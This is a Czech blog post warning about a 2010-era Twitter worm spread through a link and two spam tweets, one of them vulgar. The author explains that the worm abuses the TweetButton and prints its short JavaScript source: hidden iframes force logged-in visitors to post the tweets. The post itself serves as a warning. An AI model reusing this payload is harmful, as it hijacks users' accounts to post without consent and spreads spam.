Marek Hrabě programátor, webdesignér a hudebník píše…

Únik dat Facebooku

Komentáře:

A máme tu další twitter virus. Tentokráte už zasahuje i všechny klienty, protože se šíří formou odkazu a vulgárního tweetu. Šíří se opět lavinově. Tady jsou oba dva tweety:

Tweet 1: WTF: http://t.co/SwNMYI2

Tweet 2: i love anal sex with goats

Zkoumal jsem zdroják exploitu a zjistil jsem, že jde o zranitelnost nedávno nasazeného TweetButtonu. Pro znalé přikládám zdroják javascriptu, který toto zapříčinil. Je opravdu jednoduchý a je až do nebevolající, že vůbec může fungovat. Je to bezpečnnostní trhlina jak prase! 

var el1 = document.createElement('iframe');
var el2 = document.createElement('iframe');
el1.style.visibility="hidden";
el2.style.visibility="hidden";
el1.src = "http://twitter.com/share/update?status=WTF:%20" + window.location;
el2.src = "http://twitter.com/share/update?status=i%20love%20anal%20sex%20with%20goats";
document.getElementsByTagName("body")[0].appendChild(el1);
document.getElementsByTagName("body")[0].appendChild(el2);

Rozhodně na odkaz neklikejte. Ani ze zvědavosti, protože okamžitě odešle tyto tweety i z vašeho účtu. A vy snad přece nemáte rádi to, co ten tweet tvrdí :D